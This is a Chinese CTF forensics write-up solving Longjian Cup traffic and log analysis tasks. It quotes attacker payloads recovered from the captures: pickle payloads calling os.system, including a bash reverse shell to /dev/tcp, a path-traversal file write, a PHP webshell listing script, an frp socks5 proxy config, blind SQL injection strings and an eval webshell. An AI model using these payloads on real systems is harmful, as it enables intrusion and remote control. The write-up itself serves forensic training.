记录陇剑杯的流量分析题
日志分析 Task1 网络存在源码泄漏,源码文件名是什么
web手都知道的www.zip
Task2 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为什么
直接搜索/tmp
找到写的文件,url解码一下文件名为sess_car
1 /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
Task3 分析攻击流量,黑客使用的是什么类读取了秘密文件。
前一问已经知道利用的是SplFileObject
原生类读取文件
简单日志分析 Task1 黑客攻击的参数是什么
打开日志文件看,很明显只有user参数,解码一下发现是pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 I0 p0 0S'whoami' p1 0(g0 lp2 0(I0 tp3 0(g3 I0 dp4 0cos system p5 0g5 (g1 tR.
Task2 黑客查看的秘密文件的绝对路径是什么
往后看user参数值解码一下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 I0 p0 0S'cat /Th4s_IS_VERY_Import_Fi1e' p1 0(g0 lp2 0(I0 tp3 0(g3 I0 dp4 0cos system p5 0g5 (g1 tR.
Task3 黑客反弹shell的ip和端口是什么
先url解码然后再base64解码即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 I0 p0 0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1' p1 0(g0 lp2 0(I0 tp3 0(g3 I0 dp4 0cos system p5 0g5 (g1 tR.
webshell Task1 黑客登录系统使用的密码是什么
追踪tcp流,在第六个流找到密码Admin123@#
Task2 黑客修改了一个日志文件,文件的绝对路径为什么
在第26个流找到引用21_08_07.log
日志文件并命令执行,则该文件被植入木马
文件的绝对路径为/var/www/html/data/Runtime/Logs/Home/21_08_07.log
Task3 黑客获取webshell之后,权限是是什么
我们利用语法,搜索http请求中包含whoami
命令执行的
找到24和28流,其中28流的200响应包中找到用户权限为www-data
Task4 黑客写入的webshell文件名是什么
在第33个流找到写入木马的命令,文件名为1.php
Task5 黑客上传的代理工具客户端名字是什么
因为我们知道写马到1.php,我们筛选一下
然后一个个看,在第39个流追踪http流,发现代理工具frpc.ini
我们分析一下是如何回显上述列表的,将发包数据解码并美化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 aaa=@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out) { return $out; } ; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "693"."d434"; echo @asenc($output); echo "a3"."7cb"; } ob_start(); try { $D=base64_decode(substr($_POST["j68071301598f"],2)); $F=@opendir($D); if($F==NULL) { echo("ERROR:// Path Not Found Or No Permission!"); } else { $M=NULL; $L=NULL; while($N=@readdir($F)) { $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); } ; } catch(Exception $e) { echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); &j68071301598f=hML3Zhci93d3cvaHRtbC8=
我们重点看下面函数
1 2 3 4 5 6 7 function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "693"."d434"; echo @asenc($output); echo "a3"."7cb"; }
由回显内容可以知道@asenc($output)
就是输出的列表,而$output
是调用ob_get_contents()
,它用于获取当前输出缓冲区的内容并返回。 然后看向try的过程,发现POST参数从第二位开始截取并解码,结果为/var/www/html
,那么应该就是读取该路径下的文件。
Task6 黑客代理工具的回连服务端IP是什么
追踪tcp流,在第38个流找到hex加密数据,解码得到ip为192.168.239.123
1 2 3 4 5 6 7 8 9 10 11 12 13 [common] server_addr = 192.168.239.123 server_port = 7778 token=Xa3BJf2l5enmN6Z7A8mv [test_sock5] type = tcp remote_port =8111 plugin = socks5 plugin_user = 0HDFt16cLQJ plugin_passwd = JTN276Gp use_encryption = true use_compression = true
Task7 黑客的socks5的连接账号、密码是什么
前一题得到账号和密码0HDFt16cLQJ#JTN276Gp
SQL注入 Task1 黑客在注入过程中采用的注入手法叫什么
查看日志的payload,很明显的布尔盲注
1 1 and if(substr(database(),1,1) = '.',1,(select table_name from information_schema.tables))
Task2 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是什么
依次查找即可
1 2 3 table_schema='sqli' table_name='flag' column='flag'
Task3 黑客最后获取到的flag字符串为什么
把文件内容url解码一下,保存为md文件然后把出现的€
去掉,因为UTF-8无法识别
然后GPT写个脚本,输出每次注入同一位置的最后一行的对应字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 读取文件内容 with open(r'C:\Users\罗思远\Desktop\流量分析\NSSCTF\SQL注入\out.md', 'r',encoding='UTF-8') as file: file_content = file.readlines() # 创建字典存储数字和行索引 index_dict = {} # 遍历每一行 for index, line in enumerate(file_content): # 提取数字部分 num = line.split(',')[1].strip() # 将数字和行索引存储到字典中 if num in index_dict: index_dict[num].append(index) else: index_dict[num] = [index] # 获取每个数字对应的最后一个行索引 last_indexes = [indexes[-1] for indexes in index_dict.values()] results = [] for index in last_indexes: line = file_content[index] start_quote = line.find("'") + 1 end_quote = line.find("'", start_quote) content = line[start_quote:end_quote] results.append(content) # 拼接结果 result = ''.join(results) # 输出结果 print(result)
运行结果如下
ios 背景
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答
Task1 黑客所控制的C&C服务器IP是什么
查看下http流,在第一行也就是第十五个流找到控制ip
Task2 黑客利用的Github开源项目的名字是什么
直接筛选一下
github后面依次是用户和仓库,所以为Stowaway
Task3 通讯加密密钥的明文是什么
由前面知道开源项目地址,访问一下获得信息-s
后的为加密密钥
所以明文为hack4sec
Task4 黑客通过SQL盲注拿到了一个敏感数据,内容是什么
查找http流没有收获,结合题目给了私钥文件keylog.txt,那么有部分流量应该是加密过的
编辑 => 首选项
找到Protocols(协议),点击TLS并导入keylog文件
成功得到http2流,然后搜索select
再筛选一下目的ip
1 ip.dst == 192.168.1.12 && http2
接着导出文本
利用脚本将需要的sql盲注语句url解码并保存为out.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import urllib.parse # 读取文件 file_path = r"C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\test.txt" # 替换为你的文件路径 with open(file_path, "r", encoding='UTF-8') as file: lines = file.readlines() target_sentence = "GET /info?l=1" # 替换为你想要匹配的句子 matching_parts = [] for line in lines: if target_sentence in line: start_index = line.find(target_sentence) end_index = line.find("end%29") if end_index != -1: part = line[start_index:end_index + len("end%29")].strip() decoded_part = urllib.parse.unquote(part) matching_parts.append(decoded_part) # 将匹配的部分保存到文件 output_file = r"C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\out.txt" # 输出文件名 with open(output_file, "w", encoding='UTF-8') as file: for part in matching_parts: file.write(part + "\n")
然后继续使用脚本读取对应位置的最后一个盲注字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 读取文件内容 with open(r'C:\Users\罗思远\Desktop\流量分析\NSSCTF\ios\out.txt', 'r',encoding='UTF-8') as file: file_content = file.readlines() # 创建字典存储数字和行索引 index_dict = {} # 遍历每一行 for index, line in enumerate(file_content): # 提取数字部分 num = line.split(',')[1].strip() # 将数字和行索引存储到字典中 if num in index_dict: index_dict[num].append(index) else: index_dict[num] = [index] # 获取每个数字对应的最后一个行索引 last_indexes = [indexes[-1] for indexes in index_dict.values()] results = [] for index in last_indexes: line = file_content[index] start_quote = line.find("\"") + 1 end_quote = line.find("\"", start_quote) content = line[start_quote:end_quote] results.append(content) # 拼接结果 result = ''.join(results) # 输出结果 print(result)
得到十六进制数据,直接cyberchef解码(因为是盲注,出现ZZZ说明前面已经结束了)
Task5 黑客端口扫描的扫描器的扫描范围是什么
分析 => 专家信息
找到TCP: Connection reset (RST)
,端口扫描的特征是RST位
在TCP连接的建立和关闭过程中,数据包中的TCP头部包含了一些标志位,用于指示连接的状态。其中,RST标志位用于重置(Reset)一个TCP连接。
发现端口号是均匀增长,很明显的特征。端口是 10-499
Task6 被害者手机上被拿走了的私钥文件内容是什么
无答案
Task7 黑客访问/攻击了内网的几个服务器,IP地址为什么
注:多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)
我们前面已经导出sql盲注的txt文件,目标ip是192.168.1.12
说明在被攻击
其次我们查看log日志文件,发现有对172.28.0.2
进行攻击,大概过程为上传木马然后命令执行
所以被攻击的IP有两个172.28.0.2#192.168.1.12
Task8 黑客写入了一个webshell,其密码为什么
注意看上一题是如何命令执行的,由于参数为fxxk所以大概木马语句如下
1 <?php eval($_GET['fxxk']);?>
密码即为fxxk